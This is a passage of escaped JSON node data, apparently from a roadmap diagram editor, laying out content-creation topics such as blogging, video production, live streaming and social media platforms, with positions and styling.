\"selected\": false,\n      \"data\": {\n        \"label\": \"Blogging\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"71BBFjaON1NJi4rOHKW6K\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 216,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -714.0446939322721,\n        \"y\": 2092.947569833047\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 222,\n      \"height\": 49,\n      \"id\": \"uzMfR6Yd9Jvjn8i5RpC1Q\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -717.0446939322721,\n        \"y\": 1997.2026367632948\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Topic Selection\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mWcMSKnUQamUykBxND-Ju\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -717.0446939322721,\n        \"y\": 1997.2026367632948\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 222,\n      \"height\": 49,\n      \"id\": \"l6-mzgDTXg2EPkyZyZ6TC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -717.0446939322721,\n        \"y\": 1944.2026367632948\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Writing Process\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_QHUpFW4kZ5SBaP7stXY2\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -717.0446939322721,\n        \"y\": 1944.2026367632948\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 222,\n      \"height\": 49,\n      \"id\": \"zVBy8o66FdZueg-2v3gaw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -717.0446939322721,\n        \"y\": 1891.2026367632948\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"SEO Basics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"lG1FH7Q-YX5pG-7mMtbSR\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -717.0446939322721,\n        \"y\": 1891.2026367632948\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lWbhkjrECTwZYO66T0swh\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -715.1559941888381,\n        \"y\": 1708.789007770864\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        },\n        \"oldId\": \"klvPKcIs_vb6INETr_psf\"\n      },\n      \"zIndex\": -999,\n      \"width\": 222,\n      \"height\": 173,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 173\n      },\n      \"positionAbsolute\": {\n        \"x\": -715.1559941888381,\n        \"y\": 1708.789007770864\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 173\n      }\n    },\n    {\n      \"width\": 222,\n      \"height\": 49,\n      \"id\": \"2QiQW9tygpeaES8Wp1Kw6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -715.1559941888381,\n        \"y\": 1834.789007770864\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Guest Blogging\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"kmcOYDvu1vq7AQPllZvv0\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -715.1559941888381,\n        \"y\": 1834.789007770864\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 205,\n      \"height\": 49,\n      \"id\": \"nlzI2fG3SwC5Q42qXcXPX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -707.0457461230792,\n        \"y\": 1775.789007770864\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Cross-Promotion\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"_Qe_0RksYpX7Spzgc6Fw3\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 205,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -707.0457461230792,\n        \"y\": 1775.789007770864\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 205,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 204,\n      \"height\": 49,\n      \"id\": \"w1ZooDCDOkbL1EAa5Hx3d\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -705.4062646154587,\n        \"y\": 1720.6860948299382\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Collaborations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"oWXfov-mOF47d7Vffyp3t\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 204,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -705.4062646154587,\n        \"y\": 1720.6860948299382\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 204,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 216,\n      \"height\": 49,\n      \"id\": \"bRzzc137OlmivEGdhv5Ew\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -309.61787473083643,\n        \"y\": 2194.14912473063\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Video Production\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"71BBFjaON1NJi4rOHKW6K\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 216,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -309.61787473083643,\n        \"y\": 2194.14912473063\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 222,\n      \"height\": 49,\n      \"id\": \"6zK9EJDKBC89UArY7sfgs\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -312.61787473083643,\n        \"y\": 2002.2807594534634\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Editing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"D7_iNPEKxFv0gw-fsNNrZ\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -312.61787473083643,\n        \"y\": 2002.2807594534634\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 222,\n      \"height\": 49,\n      \"id\": \"_QHUpFW4kZ5SBaP7stXY2\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -312.61787473083643,\n        \"y\": 2055.2807594534634\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Recording\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"C9--J8gGZENQKn-QcZK4M\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -312.61787473083643,\n        \"y\": 2055.2807594534634\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 222,\n      \"height\": 49,\n      \"id\": \"rLDRkUht9K1m4noMAIgKU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -312.61787473083643,\n        \"y\": 2108.2807594534634\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Scripting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"lG1FH7Q-YX5pG-7mMtbSR\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -312.61787473083643,\n        \"y\": 2108.2807594534634\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 222,\n      \"height\": 49,\n      \"id\": \"OUWVqJImrmsZpAtRrUYNH\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -312.61787473083643,\n        \"y\": 1949.2807594534634\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Animations & Graphics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"D7_iNPEKxFv0gw-fsNNrZ\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 222,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -312.61787473083643,\n        \"y\": 1949.2807594534634\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 222,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 216,\n      \"height\": 49,\n      \"id\": \"pEMNcm_wJNmOkWm57L1pA\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -309.61787473083643,\n        \"y\": 2194.14912473063\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Video Production\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LwNa3u9Lf88ju5w7CvSN5\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 216,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -309.61787473083643,\n        \"y\": 2194.14912473063\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 266,\n      \"height\": 49,\n      \"id\": \"iPaFjacZ7hSWriSEqUmHc\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 77.11857813823781,\n        \"y\": 2194.14912473063\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Live Streaming\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"71BBFjaON1NJi4rOHKW6K\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 266,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 77.11857813823781,\n        \"y\": 2194.14912473063\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 266,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ioEUqMXOt-mn_6zB2xIBx\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 81.61857813823781,\n        \"y\": 1994.0077293147735\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        },\n        \"oldId\": \"lWbhkjrECTwZYO66T0swh\"\n      },\n      \"zIndex\": -999,\n      \"width\": 258,\n      \"height\": 170,\n      \"style\": {\n        \"width\": 258,\n        \"height\": 170\n      },\n      \"positionAbsolute\": {\n        \"x\": 81.61857813823781,\n        \"y\": 1994.0077293147735\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 170\n      }\n    },\n    {\n      \"width\": 106,\n      \"height\": 49,\n      \"id\": \"Mdp4bBlhVbGohJkVlsDar\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 94.67849842398022,\n        \"y\": 2064.007729314774\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"X\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"meZDgDJMy4aH5VqS-NJL4\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 106,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 94.67849842398022,\n        \"y\": 2064.007729314774\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 106,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 124,\n      \"height\": 49,\n      \"id\": \"OY5rn3XTbmz4LzSLRcNmw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 203.18553627438655,\n        \"y\": 2064.0077293147738\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"YouTube\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"w1ZooDCDOkbL1EAa5Hx3d\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 203.18553627438655,\n        \"y\": 2064.0077293147738\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Xuol8J2F54u4H88IPxVPs\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 131.6185781382378,\n        \"y\": 2122.2807594534634\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Platform Selection\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 157,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 131.6185781382378,\n        \"y\": 2122.2807594534634\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 36\n      }\n    },\n    {\n      \"width\": 106,\n      \"height\": 49,\n      \"id\": \"QlWam-kHv8G_-yx3ClP9s\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 94.6001954384331,\n        \"y\": 2010.0077293147738\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Twitch\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"meZDgDJMy4aH5VqS-NJL4\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 106,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 94.6001954384331,\n        \"y\": 2010.0077293147738\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 106,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 124,\n      \"height\": 49,\n      \"id\": \"meZDgDJMy4aH5VqS-NJL4\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 203.18553627438655,\n        \"y\": 2010.0077293147738\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Streamyard\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"nlzI2fG3SwC5Q42qXcXPX\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 203.18553627438655,\n        \"y\": 2010.0077293147738\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 258,\n      \"height\": 49,\n      \"id\": \"D7_iNPEKxFv0gw-fsNNrZ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 81.61857813823781,\n        \"y\": 1950.0077293147735\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Animations & Graphics\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"RQk3uOikjQYRyTu7vuAG7\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 258,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 81.61857813823781,\n        \"y\": 1950.0077293147735\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 258,\n      \"height\": 49,\n      \"id\": \"8aiLVG4clveX1Luiehvxr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 81.61857813823781,\n        \"y\": 1776.5546232768293\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Technical Setup\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4ZvzY_xGO5BZOmfqj0TTq\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 258,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 81.61857813823781,\n        \"y\": 1776.5546232768293\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 227,\n      \"height\": 49,\n      \"id\": \"tRywPj_2VyjSLjxYJtYZd\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 95.42169213296495,\n        \"y\": 1837.1189277576775\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Video\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"er9ukuBvY-F4F8S1qbbjU\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 95.42169213296495,\n        \"y\": 1837.1189277576775\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 227,\n      \"height\": 49,\n      \"id\": \"7y4vHk_jgNTW6Q1WoqYDc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 95.42169213296495,\n        \"y\": 1892.1854863133308\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Audio\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"8I59U-nnkhQv8ldRuqQlb\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 95.42169213296495,\n        \"y\": 1892.1854863133308\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 266,\n      \"height\": 49,\n      \"id\": \"71BBFjaON1NJi4rOHKW6K\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 77.11857813823781,\n        \"y\": 2330.228142753175\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Social Media\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"usorG1GkkvGAZ0h_AGHVk\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 266,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 77.11857813823781,\n        \"y\": 2330.228142753175\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 266,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7jS0tkU5hNdpA8DsxlsVl\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 81.61857813823781,\n        \"y\": 2408.2022282694024\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"width\": 150,\n          \"height\": 100,\n          \"fontSize\": 17\n        },\n        \"oldId\": \"ioEUqMXOt-mn_6zB2xIBx\"\n      },\n      \"zIndex\": -999,\n      \"width\": 258,\n      \"height\": 170,\n      \"style\": {\n        \"width\": 258,\n        \"height\": 170\n      },\n      \"positionAbsolute\": {\n        \"x\": 81.61857813823781,\n        \"y\": 2408.2022282694024\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 170\n      }\n    },\n    {\n      \"width\": 106,\n      \"height\": 49,\n      \"id\": \"6BqkO4XOspJg0-9GNLtUp\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 96.02601679498196,\n        \"y\": 2478.2022282694033\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"X\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Mdp4bBlhVbGohJkVlsDar\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 106,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 96.02601679498196,\n        \"y\": 2478.2022282694033\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 106,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 124,\n      \"height\": 49,\n      \"id\": \"6UR59TigEZ0NaixbaUIqn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 204.53305464538835,\n        \"y\": 2478.202228269403\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"LinkedIn\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"OY5rn3XTbmz4LzSLRcNmw\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 204.53305464538835,\n        \"y\": 2478.202228269403\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"beyPlK5E92ZL4R5VsEVT5\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 132.9660965092396,\n        \"y\": 2536.4752584080925\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Platform Selection\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"Xuol8J2F54u4H88IPxVPs\"\n      },\n      \"zIndex\": 999,\n      \"width\": 157,\n      \"height\": 36,\n      \"positionAbsolute\": {\n        \"x\": 132.9660965092396,\n        \"y\": 2536.4752584080925\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 36\n      }\n    },\n    {\n      \"width\": 106,\n      \"height\": 49,\n      \"id\": \"ZMManUnO-9EQqi-xmLt5r\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 95.94771380943496,\n        \"y\": 2424.202228269403\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Facebook\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QlWam-kHv8G_-yx3ClP9s\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 106,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 95.94771380943496,\n        \"y\": 2424.202228269403\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 106,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 124,\n      \"height\": 49,\n      \"id\": \"UAkGV9_I6qiKZMr1aqQCm\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 204.53305464538835,\n        \"y\": 2424.202228269403\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Instagram\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"meZDgDJMy4aH5VqS-NJL4\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 124,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 204.53305464538835,\n        \"y\": 2424.202228269403\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 258,\n      \"height\": 49,\n      \"id\": \"TGXPxTFv9EhsfS5uWR5gS\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 81.61857813823781,\n        \"y\": 2573.9311802442207\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Content Strategy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CfYvM0PZsFAhAMrghgvmZ\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 258,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 81.61857813823781,\n        \"y\": 2573.9311802442207\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 258,\n      \"height\": 49,\n      \"id\": \"lG1FH7Q-YX5pG-7mMtbSR\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 81.61857813823781,\n        \"y\": 2617.9311802442207\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Analytics and Optimization\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"1m1keusP-PTjEwy0dCJJL\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 258,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 81.61857813823781,\n        \"y\": 2617.9311802442207\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 212,\n      \"height\": 49,\n      \"id\": \"l2P44pL9eF8xarBwC_CVO\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -212.3848520284269,\n        \"y\": 2522.085184924085\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Consistent Posting\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"CfYvM0PZsFAhAMrghgvmZ\"\n      },\n      \"zIndex\": 999,\n      \"style\": {\n        \"width\": 212,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -212.3848520284269,\n        \"y\": 2522.085184924085\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 212,\n        \"height\": 49\n      }\n    },\n    {\n      \"width\": 212,\n      \"height\": 49,\n      \"id\": \"WIH216mHg2OiSebzQYI-f\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -212.3848520284269,\n        \"y\": 2575.085184924085\n      },\n      \"selected\": false,\n      